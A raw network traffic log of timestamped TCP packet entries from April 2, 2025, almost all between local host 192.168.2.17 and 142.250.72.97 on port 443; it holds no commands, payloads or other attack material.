Apr 2, 2025 08:38:52.139980078 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.140101910 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.140157938 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.140171051 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.140239000 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.140522957 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.140561104 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.140597105 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.140619040 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.140630960 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.140685081 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.140696049 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.140789986 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.140825033 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.140851974 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.140856981 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.140882969 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.140919924 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.140947104 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.140974998 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.141017914 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.141030073 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.141086102 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.142667055 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.142815113 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.142963886 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.142975092 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.142987013 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.143039942 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.143115044 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.144309044 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.144380093 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.144392014 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.144531012 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.144566059 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.144602060 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.144639015 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.144651890 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.144678116 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.145590067 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.145633936 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.145672083 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.145683050 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.145744085 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.146317005 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.146325111 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.146373034 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.146400928 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.146418095 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.146459103 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.146478891 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.148127079 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.148143053 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.148230076 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.148242950 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.148308992 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.150518894 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.150540113 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.150604010 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.150618076 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.150702953 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.152235031 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.152251005 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.152313948 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.152326107 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.152390003 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.152481079 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.154156923 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.154174089 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.154242039 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.154257059 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.154330015 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.156044960 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.156061888 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.156133890 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.156147003 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.156403065 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.157941103 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.157955885 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.158020020 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.158031940 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.158185005 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.159596920 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.159612894 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.159676075 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.159687996 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.159925938 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.162228107 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.162245035 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.162317991 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.162331104 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.162864923 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.164089918 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.164113045 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.164177895 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.164191008 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.164221048 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.164294004 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.166130066 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.166146040 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.166207075 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.166218996 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.166547060 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.167876005 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.167896986 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.167946100 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.167958021 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.167999983 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.168044090 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.169111013 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.169127941 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.169220924 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.169220924 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.169236898 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.169302940 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.170599937 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.170614958 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.170685053 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.170696020 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.170783043 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.172216892 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.172233105 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.172297955 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.172311068 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.172477961 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.174129963 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.174144983 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.174215078 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.174226999 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.174282074 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.174880981 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.174904108 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.174976110 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.174988031 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.175067902 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.177067995 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.177088022 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.177161932 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.177174091 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.177239895 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.178483963 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.178499937 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.178563118 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.178575993 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.178641081 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.179672003 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.179687977 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.179776907 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.179781914 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.179820061 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.179841042 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.181070089 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.181086063 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.181175947 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.181185007 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.181370974 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.183682919 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.183698893 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.183757067 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.183763027 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.183830976 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.184909105 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.184925079 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.184983969 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.184989929 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.185067892 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.186127901 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.186144114 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.186209917 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.186216116 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.186291933 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.187928915 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.187944889 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.188005924 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.188013077 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.188235998 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.195933104 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.195949078 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.196046114 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.196052074 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.196094990 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.196518898 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.196533918 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.196604967 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.196611881 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.196655035 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.197299957 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.197314978 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.197379112 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.197385073 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.197448969 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.198524952 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.198540926 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.198591948 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.198596001 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.198642969 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.199783087 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.199800014 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.199862957 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.199868917 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.199932098 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.201613903 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.201628923 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.201690912 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.201703072 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.201893091 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.202697992 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.202713966 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.202780008 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.202786922 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.202982903 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.204070091 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.204088926 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.204153061 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.204159021 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.204196930 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.205470085 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.205487013 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.205559015 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.205564976 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.205638885 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.206585884 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.206603050 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.206669092 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.206675053 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.206768036 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.207925081 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.207941055 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.207994938 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.208000898 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.208082914 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.208693981 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.208709955 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.208765030 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.208770990 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.208872080 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.209686995 CEST	49672	443	192.168.2.17	52.123.128.14
Apr 2, 2025 08:38:52.210431099 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.210445881 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.210535049 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.210542917 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.210881948 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.211720943 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.211738110 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.211786032 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.211791992 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.211826086 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.211848974 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.212424994 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.212440968 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.212582111 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.212588072 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.212646961 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.214143038 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.214159012 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.214222908 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.214231014 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.214301109 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.215493917 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.215509892 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.215572119 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.215576887 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.215653896 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.216492891 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.216509104 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.216558933 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.216563940 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.216612101 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.218064070 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.218080044 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.218135118 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.218142033 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.218170881 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.218189955 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.219330072 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.219345093 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.219410896 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.219417095 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.219604969 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.220019102 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.220035076 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.220088005 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.220092058 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.220170021 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.220170021 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.220180988 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.220212936 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.220243931 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.220249891 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.220293045 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.220314980 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.222523928 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.222542048 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.222604990 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.222611904 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.222664118 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.223790884 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.223805904 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.223864079 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.223870039 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.223959923 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.224412918 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.224428892 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.224503994 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.224509954 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.224622011 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.226325989 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.226345062 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.226407051 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.226413012 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.226600885 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.226980925 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.226995945 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.227058887 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.227065086 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.227103949 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.228219032 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.228235960 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.228296041 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.228302956 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.228341103 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.229876041 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.229891062 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.229960918 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.229973078 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.230051041 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.230670929 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.230689049 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.230747938 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.230756044 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.230861902 CEST	49714	443	192.168.2.17	142.250.72.97
Apr 2, 2025 08:38:52.231983900 CEST	443	49714	142.250.72.97	192.168.2.17
Apr 2, 2025 08:38:52.231998920 CEST	443	49714	142.250.72.97	192.168.2.17
